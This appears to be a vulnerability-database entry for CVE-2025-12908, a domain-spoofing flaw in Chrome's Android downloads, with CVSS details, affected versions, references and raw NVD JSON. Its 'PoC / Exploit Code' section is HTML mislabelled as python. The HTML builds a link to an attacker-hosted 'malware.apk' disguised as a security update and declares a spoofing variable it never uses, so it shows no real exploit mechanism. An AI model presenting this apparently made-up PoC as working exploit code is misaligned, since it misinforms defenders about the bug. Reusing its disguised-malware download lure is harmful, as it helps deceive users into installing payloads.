CVE-2025-12908

Description

Insufficient validation of untrusted input in Downloads in Google Chrome on Android prior to 140.0.7339.80 allowed a remote attacker to perform domain spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Android < 140.0.7339.80

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12908 PoC - Domain Spoofing in Downloads -->
<!DOCTYPE html>
<html>
<head>
    <title>Malicious Download Demo</title>
</head>
<body>
    <h1>Download Center</h1>
    <p>Click below to download the file:</p>
    <a href="malicious://fake-domain.com/payload.apk" download="trusted-app.apk">
        Download Trusted App
    </a>
    <script>
        // Exploit technique: Manipulate download source display
        const maliciousUrl = 'https://attacker-controlled-site.com/malware.apk';
        const displayName = 'https://www.google.com/trusted-file.apk';
        
        // Create a download link that spoofs the domain
        const link = document.createElement('a');
        link.href = maliciousUrl;
        link.download = 'important-update.apk';
        link.textContent = 'Download Security Update';
        
        // In Chrome Android < 140.0.7339.80, this can trigger domain spoofing
        document.body.appendChild(link);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12908
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12908
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12908/
[4] VulDB https://vuldb.com/cve/CVE-2025-12908
[5] https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/421511847

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12908", "sourceIdentifier": "[email protected]", "published": "2025-11-08T00:15:35.583", "lastModified": "2025-11-21T21:19:55.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Downloads in Google Chrome on Android prior to 140.0.7339.80 allowed a remote attacker to perform domain spoofing via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "140.0.7339.80", "matchCriteriaId": "614C3A2A-11F8-45CE-BEF0-9033AD4AE057"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/421511847", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}